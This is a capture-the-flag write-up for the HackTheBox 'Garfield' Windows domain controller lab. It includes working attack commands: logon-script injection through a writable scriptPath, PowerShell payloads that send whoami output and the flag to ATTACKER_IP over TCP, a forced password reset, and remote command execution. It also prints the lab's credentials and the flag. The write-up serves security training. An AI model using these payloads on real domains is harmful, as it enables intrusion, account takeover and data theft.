HackTheBox - Garfield (Hard) Writeup

Published on: 4/12/2026

Summary: As is common in real life pentests, you will start the Garfield box with credentials for the following account j.arbuckle / Th1sD4mnC4t!@1978


HackTheBox - Garfield (Hard) Writeup

Machine Info

Item Details
Name Garfield
Difficulty Hard
OS Windows Server 2019
Type Active Directory Domain Controller
Season Season 10
Creator ruycr4ft
Hostname DC01.garfield.htb
Domain garfield.htb (GARFIELD)

Reconnaissance

Port Scan

nmap -Pn -sC -sV -T4 --min-rate 1000 <TARGET_IP>

Key open ports:

Port Service Notes
53 DNS Simple DNS Plus
88 Kerberos Microsoft Kerberos
135 MSRPC Microsoft Windows RPC
389/636 LDAP/LDAPS Active Directory LDAP
445 SMB Microsoft-DS
2179 vmrdp Hyper-V VM Remote Desktop Protocol
3389 RDP Microsoft Terminal Services
5985 WinRM Microsoft HTTPAPI
9389 ADWS AD Web Services

From RDP certificate and LDAP banners:

  • Domain: garfield.htb
  • Computer name: DC01
  • Product version: Windows Server 2019 (10.0.17763)
  • Port 2179 reveals Hyper-V presence, hinting at internal virtual machines

Initial Credentials

Provided starting credentials:

  • Username: j.arbuckle
  • Password: Th1sD4mnC4t!@1978

Jon Arbuckle is the owner character from the Garfield comic strip.

User Enumeration

Kerberos pre-authentication check to confirm valid accounts:

GetNPUsers.py garfield.htb/ -no-pass -usersfile users.txt -dc-ip <TARGET_IP>

Confirmed valid accounts:

  • administrator - Domain Administrator
  • j.arbuckle - Jon Arbuckle (our initial user)
  • l.wilson - Liz Wilson (the veterinarian from Garfield)

Full LDAP enumeration after authentication:

GetADUsers.py -all 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978' -dc-ip <TARGET_IP>
Account Notes
Administrator Domain Admin
krbtgt Kerberos TGT account
krbtgt_8245 RODC krbtgt account (confirms Read-Only Domain Controller exists)
j.arbuckle Jon Arbuckle
l.wilson Liz Wilson (Remote Management Users, Remote Desktop Users)
l.wilson_adm Liz Wilson ADM (Tier 1 group, Remote Management Users)

Foothold

ACL Analysis

Enumerate writable attributes for j.arbuckle:

bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \
  --host DC01 get writable --otype user --right WRITE --detail

Critical finding: j.arbuckle has WriteProperty on l.wilson's scriptPath attribute.

The scriptPath attribute defines a script that executes automatically when a user logs in interactively. Scripts are loaded from the NETLOGON share (\\DC01\NETLOGON\).

Attack: Logon Script Injection

Step 1: Create malicious script

A batch file using PowerShell StreamWriter for one-way TCP data exfiltration:

@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
$w.WriteLine((whoami));
$c.Close()"

Note: Interactive reverse shells didn't work in this environment, but StreamWriter-based one-way data exfiltration succeeded.

Step 2: Upload to SYSVOL

smbclient.py 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978@DC01' << EOF
use SYSVOL
cd garfield.htb/scripts
put grab.bat
exit
EOF

The garfield.htb\scripts directory in SYSVOL is the backend path for the NETLOGON share.

Step 3: Set l.wilson's scriptPath

bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \
  --host DC01 set object l.wilson scriptPath -v 'grab.bat'

Step 4: Wait for l.wilson to log in

DC01 has a scheduled task that simulates an interactive logon for l.wilson. When the logon occurs, the scriptPath script executes automatically.

Set up a TCP data receiver on the attacker machine:

import socket, time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 9001))
s.listen(1)
conn, addr = s.accept()
time.sleep(5)
data = b''
while True:
    try: data += conn.recv(4096)
    except: break
print(data.decode(errors='replace'))

Confirmation received: garfield\l.wilson

Timing note: The scheduled task only fires once after machine boot. Both the scriptPath attribute and SYSVOL files persist across machine resets (AD attributes and DC disk files), so everything must be configured before the next reboot for the logon trigger to execute the script.


User Flag

l.wilson → l.wilson_adm (ForceChangePassword)

l.wilson has ForceChangePassword extended rights over l.wilson_adm.

Password reset via ADSI in the logon script:

@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
try {
    $adm=[ADSI]'LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb';
    $adm.SetPassword('W1ls0n!2026');
    $adm.SetInfo();
    $w.WriteLine('l.wilson_adm password changed!')
} catch {
    $w.WriteLine('Failed: '+$_.Exception.Message)
};
$c.Close()"

Result: l.wilson_adm changed!

Note: l.wilson cannot change her own password (Access Denied), but can change l.wilson_adm's password due to the ForceChangePassword ACL delegation in Active Directory.

Retrieving user.txt

l.wilson_adm is in the Remote Management Users group, but direct WinRM connections return Access Denied. Instead, use Invoke-Command from l.wilson's logon script:

@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
$secpw=ConvertTo-SecureString 'W1ls0n!2026' -AsPlainText -Force;
$cred=New-Object System.Management.Automation.PSCredential(
    'garfield.htb\l.wilson_adm',$secpw);
$result=Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock {
    whoami
    type C:\Users\l.wilson_adm\Desktop\user.txt
    whoami /groups
};
$w.WriteLine(($result -join [char]10));
$c.Close()"

Output:

garfield\l.wilson_adm
eeacc63de1fcabaf1332f9ef4887d121

User Flag

eeacc63de1fcabaf1332f9ef4887d121

Attack Chain Summary

j.arbuckle (initial credentials)
    │
    ├── WriteProperty: scriptPath on l.wilson
    │   └── Upload malicious .bat to NETLOGON + set scriptPath
    │
    ▼
l.wilson (triggered via scheduled logon task)
    │
    ├── ForceChangePassword on l.wilson_adm
    │   └── ADSI SetPassword() to reset password
    │
    ▼
l.wilson_adm (Tier 1, Remote Management Users)
    │
    └── Invoke-Command → user.txt

Tools Used

Tool Purpose
nmap Port scanning and service identification
Impacket (smbclient.py, GetADUsers.py, GetNPUsers.py) SMB operations, AD enumeration
bloodyAD ACL enumeration and AD attribute modification
Python socket TCP data receiver
PowerShell (ADSI, Invoke-Command) Password change, remote command execution
Table of Contents